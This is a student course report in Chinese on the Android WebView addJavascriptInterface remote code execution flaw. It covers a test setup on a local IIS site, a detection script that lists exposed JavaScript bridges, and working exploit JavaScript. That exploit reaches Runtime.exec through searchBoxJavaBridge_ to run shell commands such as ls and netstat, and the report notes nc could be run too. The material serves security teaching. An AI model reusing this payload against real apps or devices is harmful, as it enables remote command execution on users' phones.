《安卓Webview漏洞的检测与利用》
来源:互联网 发布:mac面对面快传 编辑:程序博客网 时间:2024/06/09 12:48
《安卓Webview漏洞的检测与利用》
课 程 名 称: 信息安全
院 系: 数学与计算机科学学院
专 业: 计算机科学与技术(网络方向)
班 级: 2011级计本(6)班
姓 名: 张建谈
学 号: 105032011105
指 导 教 师: 陈志德
开 课 时 间: 2013 至2014 学年第 2 学期
目 录
1 什么是WebView.............................................................................................................2
2 WebView控件影响...........................................................................................................3
3 实验环境.......................................................................................................................4
3.1设备简介.............................................................................................................4
3.2搭建个人IIS网站..................................................................................................4
3.3局域网配置..........................................................................................................7
4 临床测试.......................................................................................................................9
4.1接口测试.............................................................................................................9
4.2Webview接口的利用............................................................................................10
5 参考文献:..................................................................................................................13
1 、什么是WebView
android.webkit库聚合了webkit内核的浏览器功能,WebView就是它的一个控件,可以使得网页轻松的内嵌到app里。WebView控件的功能包括向前、向后导航,放大、缩小,文本搜索,背景色......
WebView的几个常用方法:
addJavascriptInterface(Object obj,String interfaceName):使用此函数来绑定一个对象的Javascript,该方法可以访问JavaScript
loadDataWithBaseURL(StringbaseUrl, String data, String mimeType, String encoding, String historyUrl):加载到WebView给定的数据,以此为基础内容的网址提供的网址
capturePicture():捕捉当前WebView的图片影响版本: Android 4.2 以下
威胁程度: 高危
常见影响app:浏览器、手机迅雷、手机QQ、微博.....。
2 WebView控件影响
在WebView控件下有个比较特殊的接口方法:addJavascriptInterface,它能实现本地java同js的交互。利用addJavascriptInterface这个接口方法,能够实现透过webkit来控制安卓本机,能影响到4.2.1以下版本下的安卓系统手机。
如果app的浏览器代码存在类似如下的写法,那么黑客就可以在网页中嵌入一段远程代码执行命令。
const-stringv0, " js2java "
invoke-virtual{p1, v1, v0},Lcom/XXXapp/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)
3 实验环境
3.1 设备简介
设备:一台安卓手机,一台电脑,win7系统。其中安卓手机版本可以为4.2安卓系统一下的手机,不包括4.2.1安卓系统的手机,
3.2 搭建个人IIS网站
1、在win7下对IIS个人网站进行配置配置。搭建IIS第一步依次点击“开始”->“控制面板”->“程序”,在出现的“程序和功能”界面中单击“打开或关闭Windows功能”展开“Internet信息服务”
选择好后单击“确定”按钮,系统开始安装IIS组件,几分钟后IIS即可安装完成
依次点击“开始”->“所有程序”->“管理工具”->“Internet信息服务(IIS)管理器”,在出现的“Internet信息服务(IIS)管理器”界面中,选中“Default Web Site”,双击中间的“ASP”
把“启用父路径”改为“True”
下面就是配置站点了。单击右侧“高级设置,查看默认物理路径目录文件,
当然你可以设定一个物理路径,该路径问网页存放目录。
3.3 局域网配置
连接局域网:利用手机热点或无线WIFI将电脑与手机连在同一个局域网下。
22打开电脑端的终端命令窗口,输入ifconfig查阅无线连接是的ip,查阅ip为192.168.199.105
配置iis网站,打开个人网站,单击右侧网站绑定,把ip地址绑定为查阅到的ip
4 临床测试
4.1 接口测试
编写一个测试是否存在Webview控件的脚本网页,放入个人网站默认文件中,利用手机浏览器去浏览该网页,假如出现特殊接口则存在该控件漏洞,如下截图。源代码如下
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>WebView漏洞检测</title>
<meta name="viewport"content="width=device-width, initial-scale=1.0, maximum-scale=1.0,user-scalable=0">
</head>
<body>
<p>
<b>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b>
</p>
<scripttype="text/javascript">
function check()
{
for(var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write('<spanstyle="color:red">'+obj+'</span>');
document.write('<br/>');
}catch(e){
}
}
} catch(e) {
}
}
}
check();
</script>
</body>
</html>
该手机存在Webview远程接口,接口名字为searBoxJavaBridge_注意该接口名字,记录下来,千万别记。
4.2 Webview接口的利用
1: 编写脚本网页,执行ls命令并记录,还可执行其他命令工具如netstat,nc等。其中searchBoxJavaBridge_为控件接口。举例:下面执行ls命令并记录。
<script type="text/javascript">
function execute(cmdArgs)
{
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
try{ execute(["/system/bin/sh","-c","ls> /sdcard/log-ls.txt"]);
alert("I am look");
}catch(e)
{alert(e);
}
</script>
在sdcard的根目录生成了log-ls.txt
POC 2: 执行netstat -an命令追踪手机开放的端口及IP并记录
try{
execute(["/system/bin/sh","-c","netstat -an >
/sdcard/log-netstat.txt"]);
alert("letme see see your netstat info");}
5 参考文献:
[1]百度文库:win7下iis的安装与配置方法:
[2]WooYun知识库WebView中接口隐患与手机挂马利用
[3]安卓端WebView控件引起的远程命令执行漏洞,作者伍志强
- 《安卓Webview漏洞的检测与利用》
- DNS域传送漏洞的收集、检测与利用
- WebView--安卓与HTML的交互
- 安卓WebView中接口隐患(远程代码执行漏洞)与手机挂马利用
- 安卓拒绝服务漏洞分析及漏洞检测
- webview与js交互的漏洞
- 安卓webview和js+html交互利用的addJavascriptInterface和webview.loadUrl("javascript:**");
- 安卓webview和js+html交互利用的addJavascriptInterface和webview.loadUrl("javascript:*
- 安卓webview和js+html交互利用的addJavascriptInterface和webview.loadUrl("javascript:**");
- 安卓webview和js+html交互利用的addJavascriptInterface和webview.loadUrl("javascript:**");
- 安卓webview和js+html交互利用的addJavascriptInterface和webview.loadUrl("javascript:**");
- 安卓webview和js+html交互利用的addJavascriptInterface和webview.loadUrl("javascript:**");
- 安卓webview和js+html交互利用的addJavascriptInterface和webview.loadUrl("javascript:**");
- 关于安卓开发webview与js交互的问题
- 安卓利用LoaderManager 检测数据源变化
- WebView的漏洞
- 独家分析:安卓“Janus”漏洞的产生原理及利用过程
- 基于流量的CVE-2014-0160漏洞利用检测方法
- POJ 3320 Jessica's Reading Problem(尺取法)
- Web系统大规模并发——电商秒杀与抢购
- 事件分发
- bestcoder 百度之星 1002 列变位法解密
- MYSQL的常用SQL的优化
- 《安卓Webview漏洞的检测与利用》
- 【bzoj3282】Tree
- Gym-100712A-Who Is The Winner
- 让cmd或bat文件运行完后停在运行界面
- Python 3.X 与 2.X 的恩怨情仇 (一)
- vim的基本用法
- C#访问postgresql数据库类MyPostDB的实现
- centos6.7、centos6.5下yum方式搭建lnmp环境,php5.4/mysql5.5
- 搭建Struts2+Spring+Hibernate三大框架的步骤